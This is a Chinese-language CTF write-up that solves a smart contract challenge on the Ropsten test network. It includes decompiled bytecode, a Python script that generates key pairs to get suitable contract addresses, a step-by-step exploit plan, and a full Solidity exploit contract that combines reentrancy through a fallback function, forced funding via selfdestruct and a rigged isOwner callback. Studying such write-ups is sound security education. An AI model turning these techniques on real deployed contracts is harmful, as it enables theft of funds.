以一道CTF题来举例如何研究智能合约安全性

题目描述：0x40a590b70790930ceed4d148bf365eea9e8b35f4@ropsten, event pikapika_SendFlag(string b64email);
我们可以到官网https://ropsten.etherscan.io/输入合约地址查看代码，但是没有看到源码，不知道比赛的时候是否有源码。我们还可以到https://ethervm.io/decompile这个网站进行反编译。我们在官网得到的结果如下图：

image.png
#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0x40a590b70790930ceed4d148bF365eeA9e8b35F4
# 
#  Let's make the world open source 
# 

const eth_balance = eth.balance(this.address)

def storage:
  stor0 is addr at storage 0
  stor1 is addr at storage 1
  balanceOf is mapping of uint256 at storage 2
  stor3 is mapping of uint8 at storage 3
  unknown35983396 is mapping of uint256 at storage 4

def unknown35983396(addr _param1): # not payable
  return unknown35983396[_param1]

def status(address _param1): # not payable
  return bool(stor3[_param1])

def balanceOf(address _owner): # not payable
  return balanceOf[_owner]

def unknownb4de8673(addr _param1): # not payable
  return balanceOf[addr(_param1)]

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller

def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1

def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])

def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address owner) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address owner) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data)

def transfer(address _to, uint256 _value): # not payable
  require _to
  require _value > 0
  require balanceOf[caller] >= _value
  require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
  balanceOf[caller] -= _value
  balanceOf[addr(_to)] += _value
  require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
  return 1

def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

我们这里在开一个其它智能合约在官网的例子，可以看到是有源码的。（https://ropsten.etherscan.io/address/0x8e99d0B58E1E87a9065a3e918f4cE4f26Cfb0d42?utm_source=StateOfTheDApps#code）

image.png

然后我们分析一下这道题，我们直接看源码（https://www.bugfor.com/zlhw/5364.html）：
solidity学习https://solidity-cn.readthedocs.io/zh/develop/
首先我们需要另⼀一个合约作为sender和它交互, 并且sender的地址需要低12位为1. 众所周知合约的地址是由创建者的地址和nonce算出来的(合约地址的计算实际上是rlp编码的[钱包地址, nonce]), 所以先找⼀些可以⽤用的钱包地址:

from ethereum import utils
import os, sys

# generate EOA with appendix fff
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("fff"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix fff
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")

generate_eoa1生成一个满足要求的账户，generate_eoa2生成一个账户，他的第一个部署的合约地址满足要求。

用generate_eoa2部署4个合约然后转账到同一个合约让balance达到400,之后依次直到payforflag，注意目标合约大部分公开函数都不是payable。如果遭遇gas问题可以用BaiGei间接给目标合约转0.2ether以防万一。同时call的时候value和gas不一样，value是转账给的，gas是结算的手续费。如果value参数始终不正常，请用remix右边栏的value来指定并调用代理函数，最后call.value(msg.value)()这样来转发参数。


image.png

对于只知道函数签名的函数调用，用addr(contract_addr).call(bytes4(func_sig)[, parameters])完成调用。

如果一笔交易中部分出错，可以查看目标合约的inernal transaction，看看红叉叉里面是什么原因。([https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/]

image.png

发送flag要求：
要求msg.sender ==owner
要求buyTimes>= 100，其中buytime修改在两个函数 sell和buy中

image.png

要求：
_amount >= 200
buyTimes>0
代币余额 >= _amount
账户eth余额 >= _amount
之后函数会发送空数据调用给调用方进行转账（eth），处理代币的转账，最后修改buyTimes。要修改两次buyTimes，显然需要重复调用 sell(uint256) ，并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用，这可以通过fallback函数来实现。


image.png

函数调用需满足tx.origin == msg.sender（也就是需要通过其他合约访问）、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约，并且需要控制合约地址。由于unknown35983396的要求，buy只可以调用一次，并且一次只能转账1 wei。

由于要调用两次 sell(uint256) ，而且_amount >= 200，因此调用账户至少需要有400单位代币，并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买，并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额，由于合约只有 buy() 一个payable函数，所以如果用 buy() 转账就要调用400次，显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。


image.png

在change_Owner中对owner可以进行修改，这里要求status==true，其在change中被修改


image.png

通过分析可以看出，主要利用的是重入攻击（Reentrancy Attack）和算数溢出。可以整理出漏洞利用的大致流程：
1.分别生成4个账户
2.分别创建漏洞利用合约，地址要满足条件
3.分别调用 buy() 传送1 wei
4.取其中三个合约，分别调用transfer(address,uint256)，将其代币余额转至攻击用的合约
5.新建合约，向传送至少400 wei
6.在新建合约执行 selfdestruct(题目合约)
7.调用 sell(uint256) （fallback函数负责第二次调用）
8.调用 change(address)
9.调用 change_Owner()（claim）
10.调用 payforflag(string) 得到flag
代码

pragma solidity >=0.4.22 <0.7.0;
 
contract Exp {
 
    address private me;
    address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
    
    bool private ownerAsk = false;
    bool private recall = false;
    
    constructor() public {
        me = msg.sender;
    }
    
    modifier check() {
        require(msg.sender == me, "Caller is not owner");
        _;
    }
    
    event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
    
    function isOwner(address check) external view returns (bool) {
        emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
        if (check == me) {
            if (!ownerAsk) {
                ownerAsk = true;
                return false;
            }
            return true;
        }
        return false;
    }
 
    function payme() public payable {}
    
    function buy() public check {
        game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
    }
    
    function change() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
    }
    
    function transfer(address addr) public check {
        game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
    }
    
    function attack() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
    }
    
    event FallbackCalled(bytes data, address who);
    
    function () payable {
        emit FallbackCalled(msg.data, msg.sender);
        
        if (msg.sender == game && !recall) {
            recall = true;
            game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
        }
    }
    
    function claim() public check {
        var sig = 0x11f776bc;
        
        game.call.gas(msg.gas)(bytes4(sig));
    }
    
    function getFlag(string b64email) public check {
        game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
    }
    
    function kill() public check {
        if (me == msg.sender) {
            selfdestruct(me);
        }
    }
    
    function trans() public check {
        if (me == msg.sender) {
            selfdestruct(game);
        }
    }
    
    function reset() public check {
        recall = false;
        ownerAsk = false;
    }
    
    function set(bool a, bool b) public check {
        recall = a;
        ownerAsk = b;
    }
}

参考：https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/

附：

  1. 在线反编译合约网站1：https://contract-library.com/

  2. 在线反编译合约网站2: https://ethervm.io/decompile/

  3. 在线智能合约交互网站：https://www.mycrypto.com/

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